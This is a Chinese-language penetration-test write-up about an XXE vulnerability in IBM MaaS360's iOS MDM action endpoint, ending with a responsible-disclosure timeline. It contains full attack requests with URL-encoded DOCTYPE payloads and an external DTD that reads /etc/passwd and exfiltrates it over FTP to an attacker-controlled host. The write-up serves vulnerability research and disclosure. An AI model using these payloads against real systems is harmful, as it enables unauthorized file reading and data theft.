导语:在渗透测试过程中,我偶然发现了用于向IBM客户端提供MaaS360功能的某个服务中存在外部XML实体注入(XXE)漏洞。问题的详细信息及其发现过程是本博文的重点。
几个月前,我有个针对IBM的MaaS360平台内部实现逻辑渗透测试的机会,这个平台是IBM的MDM解决方案。本次渗透测试主要关注设备控制和企业数据保护,客户已配置的所有内容都不会在本文进行讨论。相反,在渗透测试过程中,我偶然发现了用于向IBM客户端提供MaaS360功能的某个服务中存在外部XML实体注入(XXE)漏洞。问题的详细信息及其发现过程是本博文的重点。
XXE介绍
首先,让我们看看可扩展标记语言(XML)和XXE漏洞的介绍:
XML是一种灵活的标记语言,能够在称为文档类型定义(DTD)的特殊部分中定义处理自身的指令。在DTD中,可以定义“XML实体”,告诉XML处理器在解析期间用其他值替换文档中的某些文本。正如你将在下面看到的,如果你可以将DTD定义为你提供给服务的XML有效内容的一部分,则可以更改解析器解释文档的方式。
XXE是一个漏洞类型,XML解析器会执行攻击者定义的外部XML实体。传统(非外部)XML实体是XML文档中的特殊序列,它告诉解析器在文档解析期间应将整个“实体”替换为其他文本。这可以用于支持字符,否则将被解释为XML元字符的字符并在文档中表示,或者在仅需要更新单个位置的情况下在许多地方重用普通文本。所有解析器支持的常见XML实体包括'&gt;' 和'&lt;' – 在处理过程中,这些实体分别用字符串'>'和'<'替换。要定义常规的非外部实体,请在DTD中包含以下内容:
<!ENTITY regular_entity "I am replacement text">
在XML文档中,如果你输入如下字符串:
<dataTag>This is an entity: ®ular_entity;</dataTag>
处理期间的字符串将更改为:
<dataTag>This is an entity: I am replacement text</dataTag>
外部XML实体的行为也类似,但它们的替换值不限于文本。使用外部XML实体,你可以提供一个URL,用于定义包含要插入的文本的外部资源。在这种情况下,“外部”指的是未包含在文档本身内的资源,并且意味着解析器必须访问单独的资源才能解析实体。为了区分常规实体(其替换文本包含在文档中)和外部实体(其文本在文档外部),关键字“SYSTEM”或“PUBLIC”作为实体定义的一部分也包含在内。要在DTD中定义外部实体,可以包含以下内容:
<!ENTITY external_entity SYSTEM 'file:///etc/passwd'>
在XML文档中,将替换该实体的任何实例。例如:
<dataTag>This is the password file: &external_entity;</dataTag>
将转变为:
<dataTag>This is the password file: root:x:0:0:root:/root:/bin/bash [...]</dataTag>
如你所看到的,如果你可以欺骗解析器来执行任意外部XML实体,则可以访问本地文件系统。
问题分析
有了基础知识,让我们来看看IBM MaaS360中易受此类漏洞影响的功能。在本次渗透测试期间,API功能并不是我所关注的领域,但是,有几个地方从MaaS360服务器上下载了配置信息。我决定快速浏览一下,看看我是否可以欺骗移动客户端接受不正确的配置。虽然无从下手,但我确实发现了一些在POST请求中提交XML有效载荷的请求。
我查看的每个请求都经过了正确的解析和验证。我添加的内联DTD被忽略了,格式错误的XML文档也会被拒绝,每个带有XML载荷的请求似乎都遵循了相同的验证标准。
之后,我看到的最后一个请求如下:
POST /ios-mdm/ios-mdm-action.htm HTTP/1.1 Host: services.m3.maas360.com Content-Type: application/x-www-form-urlencoded Connection: close Accept: */* User-Agent: [REDACTED] Accept-Language: en-us Accept-Encoding: gzip, deflate Content-Length: 392 RP_REQUEST_TYPE=ACTIONS_RESPONSE_REQUEST&RP_CSN=[REDACTED]&RP_SEC_KEY=[REDACTED]&RP_DATA=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3CActionResults%3E%3CActionResult%20ID%3D%22%22%20type%3D%2213%22%3E%3Cparam%20name%3D%22status%22%3ESuccess%3C%2Fparam%3E%3C%2FActionResult%3E%3C%2FActionResults%3E%0A&RP_BILLING_ID=[REDACTED]&RP_PLATFORM_ID=[REDACTED]&RP_REQUEST_VERSION=[REDACTED]
嗯,存在XML有效载荷,但是经过了URL编码并作为x-www-form-urlencoded参数的值进行传递。这看起来很有意思。服务端可能会以不同于解析XML有效载荷的方式解析传入的内容。如果我修改成如下内容:
POST /ios-mdm/ios-mdm-action.htm HTTP/1.1 Host: services.m3.maas360.com Content-Type: application/x-www-form-urlencoded Connection: close Accept: */* User-Agent: [REDACTED] Accept-Language: en-us Accept-Encoding: gzip, deflate Content-Length: 468 RP_REQUEST_TYPE=ACTIONS_RESPONSE_REQUEST&RP_CSN=[REDACTED]&RP_SEC_KEY=[REDACTED]&RP_DATA=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3CDOCTYPE+foo+SYSTEM+'http://6mtgnrnugo50ggqjccizibkrui09oy.netspi-collaborator.com'%3E%3CActionResults%3E%3CActionResult%20ID%3D%22%22%20type%3D%2213%22%3E%3Cparam%20name%3D%22status%22%3ESuccess%3C%2Fparam%3E%3C%2FActionResult%3E%3C%2FActionResults%3E%0A&RP_BILLING_ID=[REDACTED]
请注意上面经过URL编码的外部实体指向了地址:http://6mtgnrnugo50ggqjccizibkrui09oy.netspi-collaborator.com —— 这是个Burp Collaborator的URL。请求之后,服务端应用程序响应了一个空白的“HTTP 200”。查看我的Collaborator实例,显示如下:
一条DNS查询,然后是一条检索我注入的资源的HTTP请求!我不仅拥有XXE漏洞,还拥有无限制的出站访问权限,这有助于进一步的渗透测试。出站访问是关键,在这种情况下(如我在前面所说过的,成功利用XXE后,服务端的HTTP响应是一个空白页面的“HTTP 200”),这对于数据泄露是没有价值的。
为了利用不受限制的出站访问,我注入了一个DTD,它引用了我控制的服务器上托管的附加的DTD。利用这一点我可以定义在解析XML文档期间将被执行的参数实体,而不需要我修改现有的(也是有效的)文档结构。
POST /ios-mdm/ios-mdm-action.htm HTTP/1.1 Host: services.m3.maas360.com Content-Type: application/x-www-form-urlencoded Connection: close Accept: */* User-Agent: MaaS360-MaaS360-iOS/3.50.83 Accept-Language: en-us Accept-Encoding: gzip, deflate Content-Length: 452 RP_REQUEST_TYPE=ACTIONS_RESPONSE_REQUEST&RP_CSN=[REDACTED]&RP_SEC_KEY=[REDACTED]&RP_DATA=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE+foo+SYSTEM+'http://192.0.2.1/xxe.dtd'%3E%3CActionResults%3E%3CActionResult%20ID%3D%22%22%20type%3D%2213%22%3E%3Cparam%20name%3D%22status%22%3ESuccess%3C%2Fparam%3E%3C%2FActionResult%3E%3C%2FActionResults%3E%0A&RP_BILLING_ID=[REDACTED]&RP_PLATFORM_ID=3&RP_REQUEST_VERSION=1.0
在上面的请求中,'http://192.0.2.1/xxe.dtd'是对我控制的服务器上托管的以下DTD的引用:
<!ENTITY % all SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY % external SYSTEM 'ftp://192.0.2.1:443/%all;'>">%param1;%external;
要逐步完成解析,步骤如下:
1.发起POST请求(使用内联DTD引用外部DTD)到服务器
2.服务器接收XML有效载荷并开始解析内联文档类型定义(DTD)
3.内联DTD引用外部DTD,因此服务器最终会检索外部DTD继续完成解析
4.解析外部DTD会导致创建包含我们构造的恶意有效负载并请求我们构造好的端点
5.最终解析的(内部+外部)DTD结果通过FTP连接发送到了我们的外部服务器,发送的数据中包含了需要的数据。
6.只要我们的FTP服务器上有一个“虚拟”的FTP服务,我们就能够捕获在步骤5中发送给外部服务器的数据
使用上述方法读取文件'/ etc / passwd'的结果如下所示:
[email protected]:~/# ruby server.rb New client connected USER anonymous PASS [email protected] TYPE I /root:x:0:0:root: /root: /bin QUIT
看到发送数据中的第一行你就明白这是一个典型的/etc/passwd文件的,尽管是分成多行输出的。显然,我现在能够操作数据泄露,不过现在是时候停止验证问题了,并将这一发现通知给IBM。
结论
一些关键点:
1.XML是一种危险的数据格式,很容易发生错误处理的情况。不过如果你在渗透测试中遇到了这种情况你应该感到兴奋。
2.如果你正在研究某些内容,并且你觉得你在渗透测试中的每个参数都不容易受到攻击,那请继续检查 —— 本文中的渗透测试案例中是我检查的最后一个易受攻击的请求产生了XXE漏洞。
披露时间表
2018年5月11日:发现漏洞,发送给IBM漏洞的详细信息
2018年5月11日:来自IBM的回复确认报告并包含跟踪咨询号码
2018年5月18日:IBM关于漏洞状态的电子邮件和回复
2018年6月8日:有关漏洞状态的电子邮件。IBM的回复表明漏洞得到确认,修复工作几乎完成
2018年6月22日:有关漏洞状态的电子邮件 IBM的回复表明漏洞已修补2018年6月9日,2018年
7月18日至20日:发布该漏洞的电子邮件披露。IBM回应说可以发表博文并表示PSIRT已经确认更新了致谢页面
2018年10月更新:博客文章已发布